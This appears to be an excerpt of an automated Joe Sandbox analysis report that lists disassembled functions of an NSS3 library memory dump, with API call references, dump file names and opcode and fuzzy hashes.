Instruction Fuzzy Hash: 3901F4B2F0D1E097E70192ACAC85AAF3158CF8765DF180032E889C7B01F612E9064EF3

Function 6CC9BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CC97AFE,?,?,?,?,?,?,?,?,6CC9798A), ref: 6CC9BDC3
free.MOZGLUE(?,?,6CC97AFE,?,?,?,?,?,?,?,?,6CC9798A), ref: 6CC9BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC97AFE,?,?,?,?,?,?,?,?,6CC9798A), ref: 6CC9BDE9
free.MOZGLUE(?,00000000,00000000,?,6CC97AFE,?,?,?,?,?,?,?,?,6CC9798A), ref: 6CC9BE21
free.MOZGLUE(00000000,00000000,?,6CC97AFE,?,?,?,?,?,?,?,?,6CC9798A), ref: 6CC9BE32

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 98971ea879b05618e31d4462fffed7049cfe8b7967e274550963e846f32043e5
Instruction ID: 75046495858c5a053d108fe6f674a36e7bd64c4e47c7bfdd8e8e3f6a291fce22
Opcode Fuzzy Hash: 98971ea879b05618e31d4462fffed7049cfe8b7967e274550963e846f32043e5
Instruction Fuzzy Hash: 4F1148B5B012569FDF90DF29C829B023BB8BB8F354B44006AE50EC7790EB31A416CB91

Function 6CC97C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CC97C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC97C83
malloc.MOZGLUE(00000001), ref: 6CC97C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC97C9F
PR_GetCurrentThread.NSS3 ref: 6CC97CAD

Part of subcall function 6CC49BF0: TlsGetValue.KERNEL32(?,?,?,6CC90A75), ref: 6CC49C07

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 149bedae0e5e4fd8cbcd67dfa057f1f0b5260731a3a72d8fdf74f26534ca69e0
Instruction ID: c0d060571ce0e5c7799c924064c7ee8f5fba7cb1267a5ccfc64ee6b7cc0e5fac
Opcode Fuzzy Hash: 149bedae0e5e4fd8cbcd67dfa057f1f0b5260731a3a72d8fdf74f26534ca69e0
Instruction Fuzzy Hash: ACF0A9B1A102166BEB009F3A9C099877B6CAF002A5B01846AE809C3B00FB30E114CBA6

Function 6CC9ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CC9A6D8), ref: 6CC9AE0D
free.MOZGLUE(?), ref: 6CC9AE14
DeleteCriticalSection.KERNEL32(6CC9A6D8), ref: 6CC9AE36
free.MOZGLUE(?), ref: 6CC9AE3D
free.MOZGLUE(00000000,00000000,?,?,6CC9A6D8), ref: 6CC9AE47

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 14452981f666d6f2c4e8ae46fc745708d9772c385a037aed8f0c751307d4c042
Instruction ID: 8e4858c44309084e91f81b3ca02d37e8db66229d57665eb7a08a9fdf012c0336
Opcode Fuzzy Hash: 14452981f666d6f2c4e8ae46fc745708d9772c385a037aed8f0c751307d4c042
Instruction Fuzzy Hash: C0F09675601A01ABCA119F68D848957B778BF867757140328E52E83940E731F165C7D5

Function 6CB27C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB27D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB27D13, 6CB27D1F, 6CB27D47, 6CB27D53, 6CB27D5F
%s at line %d of [%.10s], xrefs: 6CB27D2E
database corruption, xrefs: 6CB27D29

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 8d8212bbe470e692909aafe1525e7d225e8cc60964aa5e8cb1b42e1b46be0be6
Instruction ID: 39e7ab80d7d05c8b16d0ea8555e1fe16a78dde8cc9c9eaf3c0914b7ca11a5fe8
Opcode Fuzzy Hash: 8d8212bbe470e692909aafe1525e7d225e8cc60964aa5e8cb1b42e1b46be0be6
Instruction Fuzzy Hash: FD314872E042799BC710CF9EC8809BDB7F1EF44345B59019AE448B7B82E6B4D851C7A9

Function 6CB16C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CB16D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB16D20
%s at line %d of [%.10s], xrefs: 6CB16D2F
database corruption, xrefs: 6CB16D2A

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: fbec23f8325c914d8b4657291205f7966c9f8d7536bbad7dfc6610f5cde0a353
Instruction ID: 8f9c53fe1950c6ae0cc655463981d5ea9e220735d104593270385ea0df608ebf
Opcode Fuzzy Hash: fbec23f8325c914d8b4657291205f7966c9f8d7536bbad7dfc6610f5cde0a353
Instruction Fuzzy Hash: 8F210371B183559BC710CE1AC841B5AB7F2EF85308F14892CD8499BF51E771F949CB92

Function 6CC4CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CC4CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CC4CC7B), ref: 6CC4CD7A
Part of subcall function 6CC4CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC4CD8E
Part of subcall function 6CC4CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC4CDA5
Part of subcall function 6CC4CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC4CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CC4CCB5
memcpy.VCRUNTIME140(6CCE14F4,6CCE02AC,00000090), ref: 6CC4CCD3
memcpy.VCRUNTIME140(6CCE1588,6CCE02AC,00000090), ref: 6CC4CD2B

Part of subcall function 6CB69AC0: socket.WSOCK32(?,00000017,6CB699BE), ref: 6CB69AE6
Part of subcall function 6CB69AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CB699BE), ref: 6CB69AFC

Part of subcall function 6CB70590: closesocket.WSOCK32(6CB69A8F,?,?,6CB69A8F,00000000), ref: 6CB70597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CC4CCB0

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: ab15a49c68c03c080cece5da68d3d574f348cc5239932948624f3bcdec452950
Instruction ID: e0220f9786dcbe37eb23d5301015eb8c038780541f85f697fffc3b9039455847
Opcode Fuzzy Hash: ab15a49c68c03c080cece5da68d3d574f348cc5239932948624f3bcdec452950
Instruction Fuzzy Hash: 1D1166F2B022405EDB909F9E9C477563AB8934F258F145029E51ACBB53F771C464CBD2

Function 6CB17F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB181DF
LeaveCriticalSection.KERNEL32(?), ref: 6CB18239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB18255
sqlite3_free.NSS3(00000000), ref: 6CB18260

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 72adc817c0379f381de95f3037769efa252160be28ed03852aa892c5ce053d68
Instruction ID: 4b9885ffd26e4ab9b3654121054c5427ea5d54e6de465b76aca0a6d4e7a4ce09
Opcode Fuzzy Hash: 72adc817c0379f381de95f3037769efa252160be28ed03852aa892c5ce053d68
Instruction Fuzzy Hash: D891C231A45688CFEF04DFE4D84879DB7B2FF0A305F25012ED4169BA50DB36A956CB82

Function 6CBF1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBF1D8F

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBF1DA6

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CBF1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBF1ED0

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 6b838fd9af5981a036cf2bdec1c897b54fd977303b465646a7bb1d6335c7b2ea
Instruction ID: 53b0b26c51ae2c6884afe27f79d3b617603a1671c433c3c624bbf443740eef4a
Opcode Fuzzy Hash: 6b838fd9af5981a036cf2bdec1c897b54fd977303b465646a7bb1d6335c7b2ea
Instruction Fuzzy Hash: 7E515AB5A00349CFDB04CF98C884BAEB7B6FF49318F184529D8299B751D731E94ACB91

Function 6CC44FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CB285D2,00000000,?,?), ref: 6CC44FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC4500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC450C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC450D6

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 2b1cb4b7edaf7b6fce3c0dea93b26790343cec301b6b54c308232cf5e46f7c38
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 7D416DB6A402158BCB18CF18DCD179AB7E1BF4431871D866DD84ACBB02F779E891CB81

Function 6CB6FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CB6FDFE), ref: 6CB6FFAD

Part of subcall function 6CB0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CB6F9C9,?,6CB6F4DA,6CB6F9C9,?,?,6CB3369A), ref: 6CB0CA7A
Part of subcall function 6CB0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB0CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CB6FDFE), ref: 6CB6FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CB6FDFE), ref: 6CB7001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CB6FDFE), ref: 6CB7006F

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 8bba230f7eaf3106663e5784d54ebfa33200eeeb65577088fb4504d3b2d78852
Instruction ID: 8c54e50443749db9c623b442509578a2291c5c3b2ad4a87d828412b9dcfac384
Opcode Fuzzy Hash: 8bba230f7eaf3106663e5784d54ebfa33200eeeb65577088fb4504d3b2d78852
Instruction Fuzzy Hash: 3B41C471B002599FDF14DFA4E885AAEB775FF4A314F04012EDC1693701DB36A951CBA2

Function 6CC57DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC57E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC57EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC57EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CC57ED8

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: d691c5db64c76d8cce867e78d75f0cb28ffc8d8ee39f8743cfd677ffc02e69e1
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 4731B5B1B112118FDB04CF09D89199ABBE2FF8831871B816AC8585B711FB71EC65CBD1

Function 6CC0DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CB93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBAAE42), ref: 6CB930AA
Part of subcall function 6CB93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB930C7
Part of subcall function 6CB93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB930E5
Part of subcall function 6CB93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB93116
Part of subcall function 6CB93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB9312B
Part of subcall function 6CB93090: PK11_DestroyObject.NSS3(?,?), ref: 6CB93154
Part of subcall function 6CB93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB9317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CC0DBBD), ref: 6CC0DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC0DFEE

Part of subcall function 6CBA86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA8716
Part of subcall function 6CBA86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA8727
Part of subcall function 6CBA86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBA873B
Part of subcall function 6CBA86D0: PR_Unlock.NSS3(?), ref: 6CBA876F
Part of subcall function 6CBA86D0: PR_SetError.NSS3(00000000,00000000), ref: 6CBA8787

Part of subcall function 6CBCF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CBCF854
Part of subcall function 6CBCF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CBCF868
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CBCF882
Part of subcall function 6CBCF820: free.MOZGLUE(04C483FF,?,?), ref: 6CBCF889
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CBCF8A4
Part of subcall function 6CBCF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CBCF8AB
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CBCF8C9
Part of subcall function 6CBCF820: free.MOZGLUE(280F10EC,?,?), ref: 6CBCF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CC0DBBD), ref: 6CC0DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CC0DBBD), ref: 6CC0E007

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 0132c9737956575b361a6eaf12d9575870617fa97e537a729068e88190f731d3
Instruction ID: 7f588bdf53b0fcd3f38f18bd0654aa957e80537f4b721e3d6bbe2efe317503f6
Opcode Fuzzy Hash: 0132c9737956575b361a6eaf12d9575870617fa97e537a729068e88190f731d3
Instruction Fuzzy Hash: AD31E4B1B0464157E700AA79AC84A9F73B8AF5530DF054135EA0AC7B12FB32E959C2E2

Function 6CB86C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB86C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB86CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CB86CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CCA8FE0), ref: 6CB86CFE

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
